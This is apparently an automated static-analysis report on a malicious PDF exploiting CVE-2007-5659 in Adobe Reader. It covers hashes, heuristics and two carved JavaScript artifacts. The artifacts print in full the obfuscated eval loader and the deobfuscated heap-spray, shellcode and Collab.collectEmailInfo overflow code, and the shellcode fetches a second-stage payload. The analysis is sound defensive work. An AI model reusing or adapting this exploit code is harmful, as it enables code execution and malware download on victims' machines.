Malicious PDF — malware analysis report

Static analysis result for SHA-256 15e89a5237514d66…

MALICIOUS

PDF

33.4 KB Created: 2012-09-20 17:26:31 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-09-14
MD5: 175737da95d26490ef295842f0e3a03e SHA-1: 02c8a07aa36fc95bbb2785271b1bdebad801033a SHA-256: 15e89a5237514d665ee40db1c7ca3d61065cf46355542109ffa7f145c3d17d56
112 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that leverages the CVE-2007-5659 vulnerability in Adobe Reader. The script performs a heap spray and attempts to download a second-stage payload, as indicated by the 'acroform_shifted_field_stage_000.js' artifact and the 'Collab.collectEmailInfo' API usage. The ML classifier also strongly flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 6

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x82A1 1121 bytes
SHA-256: 2883789c327ff1d709725e439762b9311045a0cca01932f6060eec8777809c32
Preview script
First 1,000 lines of the extracted script
var hadfg5yafdsfxcvzregadsfa = 'tuvw'+'xyz_01'+'234'+'56'+'789'+'/!%+-'+'*.,;"=<>&'+'\\';
var eedsffe3wfw3ffds = ':'+"ABCDEFGHI"+"JKLM";
var azxwf1qrqawd ="YZ"+""+"{} "+"()[]^"+"abcde"+"fghijkl"+"mnopqr"+"s";
var trty42wdswfsfsd=""+eedsffe3wfw3ffds+"NOPQRSTUV"+""+"WX"+azxwf1qrqawd+hadfg5yafdsfxcvzregadsfa;
function odfgsryse5dsfgd(jfhg54ty3sfd){
var qsa3wrtdzfsg='';
for (var i = 0;i< jfhg54ty3sfd.length-1;i++)
{qsa3wrtdzfsg += wasgqe3etsdf(jfhg54ty3sfd[i]);}
return qsa3wrtdzfsg;}
var uyi65sdfgds4aewt=getField("Text3");
var medthaewsdgf=uyi65sdfgds4aewt.value;
function wasgqe3etsdf(mbzf5raeya){
var poutyfds6iset="";
var kijghfdkiysey45ya=trty42wdswfsfsd.indexOf(mbzf5raeya)-15;
if (kijghfdkiysey45ya<0)
{
var dfgetasaw5ey4aag=trty42wdswfsfsd.length+125;
kijghfdkiysey45ya=kijghfdkiysey45ya+dfgetasaw5ey4aag-125;
}
poutyfds6iset=trty42wdswfsfsd.charAt(kijghfdkiysey45ya);
return poutyfds6iset;}
var yortust54sdgfhs5ey = 'fgjbuerwioipejijisovnaicasodfskal';
var aseqtgq3gsw = odfgsryse5dsfgd(medthaewsdgf);
app[yortust54sdgfhs5ey[5]+yortust54sdgfhs5ey[19]+yortust54sdgfhs5ey[21]+yortust54sdgfhs5ey[32]](aseqtgq3gsw);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 15) at offset 0x4C9 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \